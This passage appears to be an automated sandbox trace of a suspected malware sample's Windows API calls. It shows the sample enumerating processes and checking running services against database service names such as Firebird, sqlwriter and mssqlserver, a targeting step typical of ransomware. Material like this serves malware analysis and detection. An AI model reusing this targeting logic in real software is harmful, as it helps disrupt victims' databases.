[0053.166] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0053.167] lstrlenW (lpString="understood.exe") returned 14 [0053.167] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0053.168] lstrlenW (lpString="lee.exe") returned 7 [0053.168] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0053.169] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0053.169] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0053.169] lstrlenW (lpString="romandisclosure.exe") returned 19 [0053.169] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0053.170] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0053.170] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0053.171] lstrlenW (lpString="dllhost.exe") returned 11 [0053.171] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0053.172] lstrlenW (lpString="product.exe") returned 11 [0053.172] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0053.173] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0053.173] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0053.174] lstrlenW (lpString="basin.exe") returned 9 [0053.174] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0053.175] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0053.175] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0053.175] lstrlenW (lpString="tested housewives.exe") returned 21 [0053.175] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.187] lstrlenW (lpString="conhost.exe") returned 11 [0053.187] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.188] lstrlenW (lpString="conhost.exe") returned 11 [0053.189] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.189] lstrlenW (lpString="svchost.exe") returned 11 [0053.189] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0053.190] lstrlenW (lpString="wmxsde.exe") returned 10 [0053.190] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0053.191] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0053.191] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.192] lstrlenW (lpString="conhost.exe") returned 11 [0053.192] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.193] lstrlenW (lpString="cmd.exe") returned 7 [0053.193] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.193] lstrlenW (lpString="conhost.exe") returned 11 [0053.193] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0053.194] CloseHandle (hObject=0x318) returned 1 [0053.195] Sleep (dwMilliseconds=0x1f4) [0054.556] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ded40 [0054.557] EnumServicesStatusExW (in: hSCManager=0x6ded40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0054.557] GetLastError () returned 0xea [0054.557] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1cd6) returned 0x793228 [0054.557] EnumServicesStatusExW (in: hSCManager=0x6ded40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x793228, cbBufSize=0x1cd6, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x793228, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0054.558] CloseServiceHandle (hSCObject=0x6ded40) returned 1 [0054.558] lstrlenW (lpString="Appinfo") returned 7 [0054.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0054.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0054.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0054.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0054.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0054.558] lstrlenW (lpString="AppXSvc") returned 7 [0054.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0054.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0054.559] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0054.559] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0054.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0054.559] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0054.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.559] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0054.559] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0054.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0054.559] lstrlenW (lpString="Audiosrv") returned 8 [0054.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0054.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0054.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0054.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0054.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0054.559] lstrlenW (lpString="BFE") returned 3 [0054.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0054.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0054.559] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0054.559] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0054.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0054.559] lstrlenW (lpString="BITS") returned 4 [0054.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0054.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0054.559] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0054.559] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0054.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0054.559] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0054.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0054.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0054.559] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0054.559] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0054.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0054.560] lstrlenW (lpString="CDPSvc") returned 6 [0054.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0054.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0054.560] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0054.560] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0054.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0054.560] lstrlenW (lpString="ClickToRunSvc") returned 13 [0054.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0054.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0054.560] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0054.560] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0054.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0054.560] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0054.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0054.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0054.560] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0054.560] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0054.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0054.560] lstrlenW (lpString="CryptSvc") returned 8 [0054.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0054.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0054.560] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0054.560] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0054.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0054.560] lstrlenW (lpString="DcomLaunch") returned 10 [0054.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.560] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0054.560] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0054.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0054.560] lstrlenW (lpString="DeviceAssociationService") returned 24 [0054.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0054.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0054.560] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0054.561] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0054.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0054.561] lstrlenW (lpString="Dhcp") returned 4 [0054.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0054.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0054.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0054.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0054.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0054.561] lstrlenW (lpString="Dnscache") returned 8 [0054.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0054.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0054.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0054.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0054.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0054.561] lstrlenW (lpString="DoSvc") returned 5 [0054.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0054.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0054.561] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0054.561] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0054.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0054.561] lstrlenW (lpString="DPS") returned 3 [0054.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0054.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0054.561] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0054.561] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0054.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0054.561] lstrlenW (lpString="DusmSvc") returned 7 [0054.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0054.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0054.561] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0054.561] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0054.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0054.561] lstrlenW (lpString="EventLog") returned 8 [0054.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0054.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0054.562] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0054.562] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0054.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0054.562] lstrlenW (lpString="EventSystem") returned 11 [0054.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0054.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0054.562] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0054.562] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0054.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0054.562] lstrlenW (lpString="FontCache") returned 9 [0054.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0054.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0054.562] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0054.562] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0054.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0054.562] lstrlenW (lpString="gpsvc") returned 5 [0054.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0054.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0054.562] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0054.562] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0054.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0054.562] lstrlenW (lpString="iphlpsvc") returned 8 [0054.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.562] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0054.562] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0054.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0054.562] lstrlenW (lpString="KeyIso") returned 6 [0054.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0054.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0054.562] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0054.563] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0054.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0054.563] lstrlenW (lpString="LanmanServer") returned 12 [0054.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0054.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0054.563] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0054.563] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0054.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0054.563] lstrlenW (lpString="LanmanWorkstation") returned 17 [0054.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.563] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0054.563] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0054.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0054.563] lstrlenW (lpString="lfsvc") returned 5 [0054.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0054.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0054.563] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0054.563] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0054.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0054.563] lstrlenW (lpString="lmhosts") returned 7 [0054.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0054.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0054.563] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0054.563] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0054.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0054.563] lstrlenW (lpString="LSM") returned 3 [0054.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0054.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0054.563] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0054.563] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0054.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0054.563] lstrlenW (lpString="MpsSvc") returned 6 [0054.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0054.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0054.564] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0054.564] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0054.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0054.564] lstrlenW (lpString="NcbService") returned 10 [0054.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0054.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0054.564] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0054.564] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0054.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0054.564] lstrlenW (lpString="netprofm") returned 8 [0054.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0054.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0054.564] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0054.564] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0054.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0054.564] lstrlenW (lpString="NgcSvc") returned 6 [0054.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0054.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0054.564] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0054.564] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0054.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0054.564] lstrlenW (lpString="NlaSvc") returned 6 [0054.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0054.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0054.564] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0054.564] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0054.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0054.564] lstrlenW (lpString="nsi") returned 3 [0054.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0054.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0054.564] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0054.564] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0054.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0054.565] lstrlenW (lpString="PcaSvc") returned 6 [0054.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0054.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0054.565] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0054.565] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0054.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0054.565] lstrlenW (lpString="PlugPlay") returned 8 [0054.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0054.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0054.565] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0054.565] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0054.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0054.565] lstrlenW (lpString="Power") returned 5 [0054.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0054.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0054.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0054.565] lstrcmpiW (lpString1="mssqlserver", 